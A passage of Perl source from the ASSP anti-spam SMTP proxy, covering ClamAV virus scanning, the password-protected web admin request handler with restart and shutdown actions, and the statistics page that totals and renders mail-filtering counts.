			    @return = ('OK');
		        }
                    }
                }
	} else {
                $select->remove($conn);
                $conn->close;
		return;
	}
 }
 $select->remove($conn);
 $conn->close;
 return @return;
 }
     
sub ClamScanOK {
    my ($fh,$bd)=@_;
    return 1 if (! haveToScan($fh));
    d('ClamAV');
    my $av;
    my $errstr;
    my $this = $Con{$fh};


    $this->{clamscandone} = 1 ;

    if ($NoScanRe && $$bd=~/($NoScanReRE)/) {
        mlogRe(($1||$2),"NoVirusscan");
        return 1;
    }


    my $mtype = '';
    $mtype = "whitelisted"   if $this->{whitelisted};
    $mtype = "noprocessing"  if $this->{noprocessing};
    $mtype = "local"         if $this->{relayok};

    my $lb = length($$bd);
    my $timeout = $ClamAVtimeout;
    my ( $code, $virus );
	$this->{prepend}="[ClamAV]";
    &sigoffTry(__LINE__);
    eval {
   	local $SIG{ALRM} = sub { die "__alarm__\n" };
     	alarm($timeout) if $timeout;
        $av = new File::Scan::ClamAV( port => $AvClamdPort );
        if ( $av->ping() ) {
            mlog(0, 'ClamAv Up') if $ScanLog && $AvailAvClamd==0 ;
			$CommentAvClamd = "<span class=positive>installed and ready</span>";
            $AvailAvClamd = 1;
            ( $code, $virus ) = $av->streamscan($$bd);
        } else {
            mlog(0, 'ClamAv Down') if $ScanLog && $AvailAvClamd==1 ;
			$CommentAvClamd = "<span class=negative>installed but down</span>";

            $AvailAvClamd = 0;
        }

        $errstr = $av->errstr();
        alarm(0);
    };
    alarm(0);
    if ($@) {
        if ( $@ =~ /__alarm__/o ) {
            mlog( $fh, "ClamAV: streamscan timed out after $timeout secs.", 1 );
        } else {
            mlog( $fh, "ClamAV: streamscan failed: $@", 1 );
        }
        undef $av;
        
        return 1;
    }
    unless ($AvailAvClamd) {
        
        return 1;
    }
    undef $av;
    $this->{prepend}="[VIRUS]";
    mlog($fh,"ClamAV: scanned $lb bytes in $mtype message - $code $virus")
        if((!( $virus eq '') || !($code eq 'OK')) && $ScanLog ) || $ScanLog >= 2;
    
    if($code eq 'OK'){
        return 1;
    } elsif ($SuspiciousVirus && $virus=~/($SuspiciousVirusRE)/) {
        my $SV = $1;
        $this->{messagereason}="SuspiciousVirus: '$SV' is part of $virus ";
        		pbAdd($fh,$this->{ip},&weightRe($vsValencePB,'SuspiciousVirus',\$SV,$fh),"$virus",1) if $vsValencePB>0;

        mlog($fh,"[scoring] passing the virus check for '$virus' because '$SV' is found in SuspiciousVirus");
        return 1;
    } elsif($code eq 'FOUND'){

        $this->{averror}=$AvError;
        $this->{averror}=~s/INFECTION/$virus/go;

        #mlog($fh,"virus detected '$virus'");
        my $reportheader;$reportheader="Full Header:\r\n$this->{header}\r\n" if $EmailVirusReportsHeader;
        my $sub="virus detected: '$virus'";

        my $bod="Message ID: $this->{msgtime}\r\n";
        $bod.="Remote IP: $this->{ip}\r\n";
        $bod.="Subject: $this->{subject2}\r\n";
        $bod.="Sender: $this->{mailfrom}\r\n";
        $bod.="Recipients(s): $this->{rcpt}\r\n";
        $bod.="Virus Detected: '$virus'\r\n";
        $reportheader = $bod.$reportheader;

        my $file="reports/virusreport.txt";

        # Send virus report to administrator if set
        AdminReportMail($sub,\$reportheader,$EmailVirusReportsTo) if $EmailVirusReportsTo;

        # Send virus report to recipient if set
        ReturnMail($fh,$this->{rcpt},"$base/$file",$sub,\$bod,'') if $EmailVirusReportsToRCPT;

        $Stats{viridetected}++;
        delayWhiteExpire($fh);
        $this->{messagereason}="virus detected: '$virus'";
        pbAdd($fh,$this->{ip},$vdValencePB,"$virus") if $vdValencePB>0;

        return 0;
    }

    $AvailAvClamd = 0;
    $CommentAvClamd = "<span class=negative>installed but temporary off</span>";
    $CommentAvClamd = "<span class=negative>installed but temporary off: $errstr</span>" if $errstr;
    mlog(0, "ClamAv Temporary Off : $errstr") if $ScanLog && $errstr;
    return 1;
}

#####################################################################################
#                Web Configuration functions
# add multiple tooltips span tags
sub addShowPath {
 my ($text)=@_;
 my $ret;

   while ($text=~/\-\> (.*\.$maillogExt)/cgso) { # /c - keep pos() on match fail

   
    $ret.=<<EOT;
$1<span onclick="popFileEditor($text,4);">$2</span>
EOT
    chomp($ret);

   }
   $ret.=$1 if $text=~/\G(.*)/s; # remainder
   $text=$ret;
   return $text;
 }

sub statRequest {
    my ( $tempfh, $fh, $head, $data ) = @_;
    my $v;
    %statRequests = (
        '/'    => \&ConfigStatsRaw,
        '/raw' => \&ConfigStatsRaw,
        '/xml' => \&ConfigStatsXml
    );
    my $i = 0;

    # %head -- public hash
    (%head) = map { ++$i % 2 ? lc $_ : $_ } map /^([^ :]*)[: ]{0,2}(.*)/,
      split( /\r\n/, $head );
    my ( $page, $qs ) =
      ( $head{get} || $head{head} || $head{post} ) =~ /^([^\? ]+)(?:\?(\S*))?/;
    if ( defined $data ) {    # GET, POST order
        $qs .= '&' if ( $qs ne '' );
        $qs .= $data;
    }
    $qs =~ y/+/ /;
    $i = 0;

    # parse query string, get rid of google autofill
    # %qs -- public hash
    (%qs) = map { s/(e)_(mail)/$1$2/gi if ++$i % 2; $_ } split( /[=&]/, $qs );
    foreach my $k ( keys %qs ) {
        $qs{$k} =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack('C',hex($1))/ge;
    }
    my $ip   = $fh->peerhost();
    $ip = "[" . $ip . "]" if ($ip =~ /:/);
    my $port = $fh->peerport();
    mlog( '', "stat connection from $ip:$port;" );

    $Stats{statConn}++;

    if ( defined( $v = $statRequests{$page} ) ) {
        print $tempfh $v->( $head, $qs );
    }
}

sub webRequest {
    my ( $tempfh, $fh, $head, $data ) = @_;
    my $k;
    my $v;
    eval {
    local $SIG{ALRM} = sub { die "mainloop_timeout in webrequest\n" };
    alarm 180;
    %webRequests = (
        '/lists' 			=> \&ConfigLists,
        '/recprepl' 		=> \&CheckRcptRepl,
        '/maillog'        	=> \&ConfigMaillog,
        '/analyze'        	=> \&ConfigAnalyze,
        '/infostats'      	=> \&ConfigStats,
        '/edit'           	=> \&ConfigEdit,
        '/shutdown'       				=> \&Shutdown,

        '/shutdown_frame' 				=> \&ShutdownFrame,

        '/shutdown_list'  				=> \&ShutdownList,
        '/connections_list'  				=> \&ConnectionsList,
		'/remember' 	  	=> \&remember,
        '/donations' 		=> \&Donations,
        '/get'       		=> \&GetFile,
        '/syncedit' 		=> \&syncedit,
        '/addraction' 		=> \&ConfigAddrAction,
        '/ipaction' 		=> \&ConfigIPAction
    );
    my $i = 0;

    # %head -- public hash
    (%head) = map { ++$i % 2 ? lc $_ : $_ } map /^([^ :]*)[: ]{0,2}(.*)/,
      split( /\r\n/, $head );
    my ( $page, $qs ) =
      ( $head{get} || $head{head} || $head{post} ) =~ /^([^\? ]+)(?:\?(\S*))?/;
   	$currentPage = $page;
    $currentPage =~ s/^\/+//;
    $currentPage = 'Config' unless $currentPage;
    $currentPage = ucfirst($currentPage);
    $headers =~ s/<title>\S+ ASSP/<title>$currentPage ASSP/ if $page ne '/get' && exists $webRequests{$page};
    if ( defined $data ) {    # GET, POST order
        $qs .= '&' if ( $qs ne '' );
        $qs .= $data;
    }
    $qs =~ y/+/ /;
    $i = 0;

    # parse query string, get rid of google autofill
    # %qs -- public hash
    (%qs)=map{s/(e)_(mail)/$1$2/gio if ++$i % 2; $_} split(/[=&]/o,$qs);
    while (($k,$v) =  each %qs) {$qs{$k}=~s/%([0-9a-fA-F][0-9a-fA-F])/pack('C',hex($1))/geo}
    my ($auth)=$head{authorization}=~/Basic (\S+)/io;
    my ($user,$pass)=split(':',base64decode($auth));
    my $ip   = $fh->peerhost();
    $ip = "[" . $ip . "]" if ($ip =~ /:/);
    my $port = $fh->peerport();

    if ( substr( $Config{webAdminPassword}, 0, 2 ) eq "45" ) {
        $pass = crypt( $pass, "45" );
    }

    if ( $pass eq $webAdminPassword || !$webAdminPassword ) {
        if ( $page !~ /shutdown_frame|shutdown_list|favicon.ico|get/i ) {

            # only count requests for pages without meta refresh tag
            # dont count requests for favicon.ico file
            # dont count requests for 'get' page
            my $args;
            if ( $page =~ /edit/i ) {
                if ( defined( $qs{contents} ) ) {
                    if ( $qs{B1} =~ /delete/i ) {
                        $args = "deleting file '$qs{file}'";
                    } else {
                        $args = "writing file '$qs{file}'";
                    }
                } else {
                    $args = "reading file '$qs{file}'";
                    my $fil = $qs{file};
                     foreach my $dbGroupEntry (@dbGroup) {
           			 	my ( $KeyName, $dbConfig, $CacheObject, $realFileName ) =
              			split(/,/o,$dbGroupEntry);
						next if $realFileName eq "mysql";
						next if $realFileName eq "";
            			next if !$CacheObject;
            			next unless ( $fil =~ /$realFileName/ );

            			
						SaveDB($CacheObject,$KeyName);

            			last;

   					}
                    
                    
                    
                }
            }
            if ($args) {
                mlog( '',
                    "admin connection from $ip:$port; page:$page; $args" );
                    optionFilesReload() if $args =~ /writing/i ;
                    optionFilesReload() if $args =~ /deleting/i ;
                 	ResetPB($qs{file}) if $args =~ /writing/i;
             		ResetPB($qs{file}) if $args =~ /deleting/i;
                    
            } else {
                mlog( '', "admin connection from $ip:$port; page:$page" );
            }

            $Stats{admConn}++;
        }
        if ( $page =~ /quit/i ) {
            ConfigQuit($tempfh);
        }

        if ( $page =~ /terminateprimary/i ) {
            ConfigTerminatePrimary($tempfh);
        }

        if ( $page =~ /autorestart/i ) {
            ConfigRestart($tempfh);
          
        }
        
        if ( $page =~ /restartsecondary/i ) {
            ConfigRestartSecondary($tempfh);
          
        }
        if ( $page =~ /restartprimary/i ) {
            ConfigRestartPrimary($tempfh);
        }
        if ( $page =~ /reload/i ) {
            reloadConfigFile();
        }
        if ( $page =~ /save/i ) {
            
            SaveConfig();
            
        }
        if ( $page =~ /syncedit/i ) {
            

            
        }
        if ( $page =~ /favicon.ico/i ) {
            print $tempfh "HTTP/1.1 404 Not Found
Content-type: text/html

<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>Not found</h1>
</body></html>\n";
        } else {
            print $tempfh (
                ( defined( $v = $webRequests{$page} ) )
                ? $v->( $head, $qs )
                : webConfig( $head, $qs )
            );
        }
    } else {

        print $tempfh "HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm=\"Anti-Spam SMTP Proxy (ASSP) Configuration\"
Content-type: text/html

<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>Unauthorized</h1>
</body></html>\n";
    }
    alarm 0;
    };
    alarm 0;
    mlog( 0, "error: $@ in webrequest", 1 ) if $@;
}



sub webBlock {
    my $tempfh = shift;
    print $tempfh &webBlockText();
    return 1;
}

sub webBlockText {
    return "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>permission denied - you are not allowed to start this action<br /><br />use the back button</h1>
</body></html>\n";
}

sub ConfigQuit {
 my $fh=shift;
 mlog(0,"quit requested from admin interface",1);
 print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Terminated.</h1>
</body></html>
";
 &downASSP("Terminated");
 exit 2;
}
sub ConfigRestart {
    mlog( 0, "restart requested from admin interface",1 );

    my $fh = shift;
    print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Terminated.</h1>
</body></html>
";

 	&downASSP("Restarted");
	restartCMD(0,2); 

}
sub ConfigRestartSecondary {
 my $fh=shift;
 my $time = &timestring();
 return if !$AutostartSecondary;
 
 my $pid = &readSecondaryPID();
 mlog( 0, "restart Secondary requested from admin interface",1 );
 unlink("$base/$pidfile"."_Secondary");
 mlog( 0, "stopping Secondary($pid) ",1 );
 kill TERM => $pid if $pid;
 &startSecondary() if  $AutostartSecondary && !$AsASecondary && $webSecondaryPort;
}

sub ConfigRestartPrimary {
 my $fh=shift;
 my $time = &timestring();
 my $pid = &checkPrimaryPID();
 print "\n$time Secondary (PID: $$): restarting primary ($pid)\n";
 print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Primary Restarted.</h1>
</body></html>
" if $pid;
 print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Primary Not Running.</h1>
</body></html>
" if !$pid;
 
 kill QUIT => $pid if $pid;
}

sub ConfigTerminatePrimary {
 my $fh=shift;
 my $time = &timestring();
 my $pid = &checkPrimaryPID();
 print "\n$time Secondary (PID: $$): terminating primary ($pid)\n";
 print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Primary Terminated.</h1>
</body></html>
" if $pid;
 print $fh "HTTP/1.1 200 OK
Content-type: text/html


<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><body><h1>ASSP Primary Not Running.</h1>
</body></html>
" if !$pid;
 
 kill INT => $pid if $pid;
}
# total current and previous stats
sub ComputeStatTotals {

    my %totStats = %PrevStats;
    foreach my $k ( keys %Stats ) {
        if ( $k eq 'version' ) {

            # just copy
            $totStats{$k} = $Stats{$k};
        } elsif ( $k eq 'smtpMaxConcurrentSessions' ) {

            # pick greater value
            $totStats{$k} = $Stats{$k} if $Stats{$k} > $PrevStats{$k};
        } elsif ( $k eq 'starttime' ) {

            # initialize if needed
            $totStats{$k} = $Stats{$k} unless $PrevStats{$k};
        } else {

            #sum
            $totStats{$k} += $Stats{$k};
        }
    }

    return %totStats;
}

# compute various totals
sub statsTotals {
    my %s;
    $s{smtpConnIdleTimeout}   	= 	$Stats{smtpConnIdleTimeout};
    $s{smtpConnIdleTimeout2}  	= 	$AllStats{smtpConnIdleTimeout};
    $s{smtpConnSSLIdleTimeout}	=	$Stats{smtpConnSSLIdleTimeout};
    $s{smtpConnSSLIdleTimeout2}	=	$AllStats{smtpConnSSLIdleTimeout};
    $s{smtpConnTLSIdleTimeout}	=	$Stats{smtpConnTLSIdleTimeout};
    $s{smtpConnTLSIdleTimeout2}	=	$AllStats{smtpConnTLSIdleTimeout};

    $s{smtpConnAcceptedTotal} 	= 	$Stats{smtpConn} + $Stats{smtpConnNotLogged};
    $s{smtpConnAcceptedTotal2} 	=
      $AllStats{smtpConn} + $AllStats{smtpConnNotLogged};
  	$s{smtpConnLimit}=$Stats{smtpConnLimit}+$Stats{smtpConnDomainIP}+$Stats{sameSubject}+$Stats{smtpConnLimitIP}+$Stats{smtpConnLimitFreq}+$Stats{AUTHErrors}+$Stats{delayConnection};
 	$s{smtpConnLimit2}=$AllStats{smtpConnLimit}+$AllStats{smtpConnDomainIP}+$AllStats{smtpConnLimitIP}+$AllStats{smtpConnLimitFreq}+$AllStats{AUTHErrors}+$AllStats{delayConnection};
 	
    $s{smtpConnRejectedTotal}=$s{smtpConnLimit}+$Stats{smtpConnDenied}+$Stats{denyConnectionA};
 	$s{smtpConnRejectedTotal2}=$s{smtpConnLimit2}+$AllStats{smtpConnDenied}+$AllStats{denyConnectionA};
 	
    $s{smtpConnTotal} = $s{smtpConnAcceptedTotal} + $s{smtpConnRejectedTotal};
    $s{smtpConnTotal2} =
      $s{smtpConnAcceptedTotal2} + $s{smtpConnRejectedTotal2};
    $s{admConnTotal}   = $Stats{admConn} + $Stats{admConnDenied};
    $s{admConnTotal2}  = $AllStats{admConn} + $AllStats{admConnDenied};
    $s{statConnTotal}  = $Stats{statConn} + $Stats{statConnDenied};
    $s{statConnTotal2} = $AllStats{statConn} + $AllStats{statConnDenied};
    $s{rcptAcceptedLocal} =
      $Stats{rcptValidated} + $Stats{rcptUnchecked} + $Stats{rcptSpamLover};
    $s{rcptAcceptedLocal2} =
      $AllStats{rcptValidated} +
      $AllStats{rcptUnchecked} +
      $AllStats{rcptSpamLover};
    $s{rcptAcceptedRemote} =
      $Stats{rcptWhitelisted} + $Stats{rcptNotWhitelisted};
    $s{rcptAcceptedRemote2} =
      $AllStats{rcptWhitelisted} + $AllStats{rcptNotWhitelisted};
    $s{rcptUnprocessed}  = $Stats{rcptUnprocessed};
    $s{rcptUnprocessed2} = $AllStats{rcptUnprocessed};
    $s{rcptReport} =
      $Stats{rcptReportSpam} +
      $Stats{rcptReportHam} +
      $Stats{rcptReportWhitelistAdd} +
      $Stats{rcptReportWhitelistRemove} +
      $Stats{rcptReportRedlistAdd} +
      $Stats{rcptReportRedlistRemove};
    $s{rcptReport2} =
      $AllStats{rcptReportSpam} +
      $AllStats{rcptReportHam} +
      $AllStats{rcptReportWhitelistAdd} +
      $AllStats{rcptReportWhitelistRemove} +
      $AllStats{rcptReportRedlistAdd} +
      $AllStats{rcptReportRedlistRemove};
    $s{rcptAcceptedTotal} =
      $s{rcptAcceptedLocal} +
      $s{rcptAcceptedRemote} +
      $s{rcptUnprocessed} +
      $s{rcptReport};
    $s{rcptAcceptedTotal2} =
      $s{rcptAcceptedLocal2} +
      $s{rcptAcceptedRemote2} +
      $s{rcptUnprocessed2} +
      $s{rcptReport2};
    $s{rcptRejectedLocal} =
      $Stats{rcptNonexistent} +
      $Stats{rcptDelayed} +
      $Stats{rcptDelayedLate} +
      $Stats{rcptDelayedExpired} +
      $Stats{rcptEmbargoed} +
      $Stats{rcptSpamBucket};
    $s{rcptRejectedLocal2} =
      $AllStats{rcptNonexistent} +
      $AllStats{rcptDelayed} +
      $AllStats{rcptDelayedLate} +
      $AllStats{rcptDelayedExpired} +
      $AllStats{rcptEmbargoed} +
      $AllStats{rcptSpamBucket};
    $s{rcptRejectedRemote}  = $Stats{rcptRelayRejected};
    $s{rcptRejectedRemote2} = $AllStats{rcptRelayRejected};
    $s{rcptRejectedTotal}   = $s{rcptRejectedLocal} + $s{rcptRejectedRemote};
    $s{rcptRejectedTotal2}  = $s{rcptRejectedLocal2} + $s{rcptRejectedRemote2};
    $s{rcptTotal}           = $s{rcptAcceptedTotal} + $s{rcptRejectedTotal};
    $s{rcptTotal2}          = $s{rcptAcceptedTotal2} + $s{rcptRejectedTotal2};
    $s{msgAcceptedTotal} =
      $Stats{bhams} +
      $Stats{whites} +
      $Stats{locals} +
      $Stats{noprocessing} +
      $Stats{spamlover};
    $s{msgAcceptedTotal2} =
      $AllStats{bhams} +
      $AllStats{whites} +
      $AllStats{locals} +
      $AllStats{noprocessing} +
      $AllStats{spamlover};
    $s{msgRejectedTotal} =
      $Stats{preHeader} +
      $Stats{localFrequency} +
      $Stats{bspams} +
      $Stats{blacklisted} +
      $Stats{helolisted} +
      $Stats{spambucket} +
      $Stats{penaltytrap} +
      $Stats{viri} +
      $Stats{internaladdresses} +
      $Stats{smtpConnDenied} +
      $Stats{smtpConnDomainIP} +
      $Stats{sameSubject} +
      $Stats{smtpConnLimitFreq} +
      $Stats{viridetected} +
      $Stats{bombs} +

      $Stats{msgverify} +
      $Stats{bombHeader} +
      $Stats{bombBlack} +
      $Stats{ptrMissing} +
      $Stats{ptrInvalid} +
	  $Stats{mxaMissing} +
      $Stats{forgedHelo} +
      $Stats{invalidHelo} +
      $Stats{pbdenied} +
      $Stats{pbextreme} +
      $Stats{denyConnection} +
      $Stats{sbblocked} +
      $Stats{msgscoring} +
      $Stats{senderInvalidLocals} +
      $Stats{scripts} +
      $Stats{spffails} +
      $Stats{rblfails} +
      $Stats{uriblfails} +
      $Stats{msgMSGIDtrErrors} +
      $Stats{msgBackscatterErrors} +
      $Stats{msgMaxErrors} +
      $Stats{msgDelayed} +
      $Stats{msgNoRcpt} +
      $Stats{msgNoSRSBounce};
    $s{msgRejectedTotal2} =
      $AllStats{preHeader} +
      $AllStats{localFrequency} +
      $AllStats{bspams} +
      $AllStats{blacklisted} +
      $AllStats{helolisted} +
      $AllStats{spambucket} +
      $AllStats{penaltytrap} +
      $AllStats{viri} +
      $AllStats{internaladdresses} +
      $AllStats{smtpConnDenied} +
      $AllStats{smtpConnDomainIP} +
      $AllStats{smtpConnLimitFreq} +
      $AllStats{viridetected} +
      $AllStats{bombs} +

      $AllStats{msgverify} +
      $AllStats{bombHeader} +
      $AllStats{bombBlack} +
      $AllStats{ptrMissing} +
      $AllStats{ptrInvalid} +
	  $AllStats{mxaMissing} +
      $AllStats{forgedHelo} +
      $AllStats{invalidHelo} +
      $AllStats{pbdenied} +
      $AllStats{pbextreme} +
      $AllStats{denyConnection} +
      $AllStats{sbblocked} +
      $AllStats{msgscoring} +
      $AllStats{senderInvalidLocals} +
      $AllStats{scripts} +
      $AllStats{spffails} +
      $AllStats{rblfails} +
      $AllStats{uriblfails} +
      $AllStats{msgMSGIDtrErrors} +
      $AllStats{msgBackscatterErrors} +
      $AllStats{msgMaxErrors} +
      $AllStats{msgDelayed} +
      $AllStats{msgNoRcpt} +
      $AllStats{msgNoSRSBounce};
    $s{msgTotal}  = $s{msgAcceptedTotal} + $s{msgRejectedTotal};
    $s{msgTotal2} = $s{msgAcceptedTotal2} + $s{msgRejectedTotal2};
    %s;
}

sub ConfigStats {
	if ($qs{ResetAllStats}) {
     	%OldStats = ();
     	%AllStats = ();
     	$AllStats{starttime} = time;

     	rename("$base/asspstats.sav","$base/stats/asspstats-".timestring('','','YYYY-MM-DD-hh-mm-ss').'.sav');
     	ResetStats();
 	} elsif ($qs{ResetStats}) {
     	ResetStats();
 	}
    SaveStats();
    my %tots = statsTotals();
    delete $qs{ResetAllStats};
 	delete $qs{ResetStats};
    my $upt  = ( time - $Stats{starttime} ) / ( 24 * 3600 );
    my $upt2 = ( time - $AllStats{starttime} ) / ( 24 * 3600 );

    my $uptime    = getTimeDiffAsString( time - $Stats{starttime}, 1 );
    my $resettime = localtime( $AllStats{starttime} );
    my $uptime2   = getTimeDiffAsString( time - $AllStats{starttime} );
    my $mpd       = sprintf( "%.1f", $upt == 0 ? 0 : $tots{msgTotal} / $upt );
    my $mpd2 = sprintf( "%.1f", $upt2 == 0 ? 0 : $tots{msgTotal2} / $upt2 );
    my $pct  = sprintf( "%.1f",
        $tots{msgTotal} - $Stats{locals} == 0
        ? 0
        : 100 * $tots{msgRejectedTotal} / ( $tots{msgTotal} - $Stats{locals} )
    );
    my $pct2 = sprintf( "%.1f",
        $tots{msgTotal2} - $AllStats{locals} == 0
        ? 0
        : 100 *
          $tots{msgRejectedTotal2} /
          ( $tots{msgTotal2} - $AllStats{locals} ) );
    my $cpu=$CanStatCPU ? sprintf("%.2f%%",100*$cpuUsage) : 'n/a';
 	my $cpuAvg=sprintf(" (%.2f%% avg)",$Stats{cpuTime}==0 ? 0 : 100*$Stats{cpuBusyTime}/$Stats{cpuTime}) if $CanStatCPU;
 	my $cpuAvg2=$CanStatCPU ? sprintf("%.2f%% avg",$AllStats{cpuTime}==0 ? 0 : 100*$AllStats{cpuBusyTime}/$AllStats{cpuTime}) : 'n/a';

    my $LocalDNSStatus;

 if ($UseLocalDNS) {
     $LocalDNSStatus = "Local <a href=\"/#UseLocalDNS\">DNS Servers</a> in use";
 } else {
     $LocalDNSStatus = "Custom <a href=\"/#DNSServers\">DNS servers</a> in use";
 }
 my $reset = 'reset';
 my $restart = 'reset or restart';
 my $fil = "asspstats.sav";
 my $currentCL = (-e "$base/docs/changelog.txt") ? "docs/changelog.txt" : '';
 my $currentCLtext = $currentCL ? '<a href="javascript:void(0);" onclick="javascript:popFileEditor(\'docs/changelog.txt\',8);">show current local change log</a>' : '&nbsp;';
 $uptime2 = "<a href=\"javascript:void(0);\" title=\"click to reset all stats to zero\" onclick=\"if (confirm('reset all STATS ?')) {WaitDiv();window.location.href='/infostats?ResetAllStats=1';}\">$uptime2</a>";
 $reset = "<a href=\"javascript:void(0);\" title=\"click to reset all stats to zero\" onclick=\"if (confirm('reset all STATS ?')) {WaitDiv();window.location.href='/infostats?ResetAllStats=1';}\">reset</a>";
     $uptime = "<a href=\"javascript:void(0);\" title=\"click to reset all stats since last start to zero\" onclick=\"if (confirm('reset current STATS ?')) {WaitDiv();window.location.href='/infostats?ResetStats=1';}\">$uptime</a>";
     $restart = "<a href=\"javascript:void(0);\" title=\"click to reset all stats since last start to zero\" onclick=\"if (confirm('reset current STATS ?')) {WaitDiv();window.location.href='/infostats?ResetStats=1';}\">reset</a> or restart";


	<<EOT;
$headerHTTP
$headerDTDTransitional
$headers
$footers
<script type=\"text/javascript\">
<!--
  function toggleTbody(id) {
    if (document.getElementById) {
      var tbod = document.getElementById(id);
      if (tbod && typeof tbod.className == 'string') {
        if (tbod.className == 'off') {
          tbod.className = 'on';
        } else {
          tbod.className = 'off';
        }
      }
    }
    return false;
  }
//-->
</script>
   <div class="content">
      <h2>
        ASSP Information and Statistics
      </h2><br />
      <table class="statBox">
      <thead>
          <tr>
            <td colspan="5" class="sectionHeader" onmousedown=
            "toggleTbody('StatItem0')">
              Server Information
            </td>
          </tr>
        </thead>
 
        <tbody id="StatItem0" class="off">
          <tr>
            <td class="statsOptionTitle">
              Server Name:
            </td>
            <td class="statsOptionValue" colspan="2">
              $localhostname
            </td>
            <td class="statsOptionValue" colspan="2">
              &nbsp;
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Server OS:
            </td>
            <td class="statsOptionValue" colspan="2">
              $^O
            </td>
            <td class="statsOptionValue" colspan="2">
              &nbsp;
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Server IP:
            </td>
            <td class="statsOptionValue" colspan="2">
              $localhostip
            </td>
            <td class="statsOptionValue" colspan="2">
              &nbsp;
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              DNS Servers:
            </td>
            <td class="statsOptionValue" colspan="2">
              $nameserversrt
            </td>
            <td class="statsOptionValue" colspan="2">
				$LocalDNSStatus
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Perl Version:
            </td>
            <td class="statsOptionValue" colspan="2">
              $]
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://www.perl.org/get.html" rel=
              "external">Perl.org</a>
            </td>
          </tr>
          <tr>
            <td  class="statsOptionTitle">
              ASSP Version:
            </td>
             
            <td class="statsOptionValue" colspan="2">
              <table>
               <tr>
                <td rowspan="2">
                 $version$modversion
                </td>
                <td class="statsOptionValueC">
                 $currentCLtext
                </td>
               </tr>
               <tr>
                <td class="statsOptionValueC">
                 <a href="$ChangeLogURL" rel="external" target="_blank">show last available change log</a>
                </td>
               </tr>
              </table>
            </td>
            <td class="statsOptionValueC">
              <a href=
              "http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1x/assp.pl.gz"
              rel="external">stable release</a>
            </td>
            <td class="statsOptionValueC">
              <a href= http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1dev/assp.pl.gz rel="external">development release</a>
            </td>
          </tr>
          <tr>
            <td  class="statsOptionTitle">
              ASSP Warnings:
            </td>
             
            <td class="statsOptionValue" colspan="4">
              $asspWarnings
            </td>
                
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              &nbsp;
            </td>
            <td class="statsOptionValueC" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>downloads</em></font>
            </td>
          </tr>
        </tbody>
        <tbody>
          <tr>
            <td class="sectionHeader" onmousedown="toggleTbody('StatItem2')"
            colspan="5">
              Perl Modules
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem2" class="off">
          <tr>
            <td class="statsOptionTitle">
              Compress::Zlib
            </td>
            <td class="statsOptionValue">
              $VerCompressZlib
            </td>
            <td class="statsOptionValue">
              $CommentCompressZlib
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Compress::Zlib" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Digest::MD5
            </td>
            <td class="statsOptionValue" >
              $VerDigestMD5
            </td>
             <td class="statsOptionValue" >
              $CommentDigestMD5
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Digest::MD5" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Digest::SHA1
            </td>
            <td class="statsOptionValue" >
              $VerDigestSHA1
            </td>
             <td class="statsOptionValue" >
              $CommentDigestSHA1
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Digest::SHA1" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Email::Valid
            </td>
            <td class="statsOptionValue" >
              $VerEmailValid
            </td>
             <td class="statsOptionValue" >
              $CommentEmailValid
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Email::Valid" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Email::Send
            </td>
            <td class="statsOptionValue" >
              $VerEMS
            </td>
            <td class="statsOptionValue" >
              $CommentEMS
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Email::Send" rel=
              "external">CPAN</a>
            </td>
          </tr>
           <tr>
            <td class="statsOptionTitle">
              Email::MIME::Modifier
            </td>
            <td class="statsOptionValue" >
              $VerEMM
            </td>
            <td class="statsOptionValue" >
              $CommentEMM
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Email::MIME::Modifier" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              File::ReadBackwards
            </td>
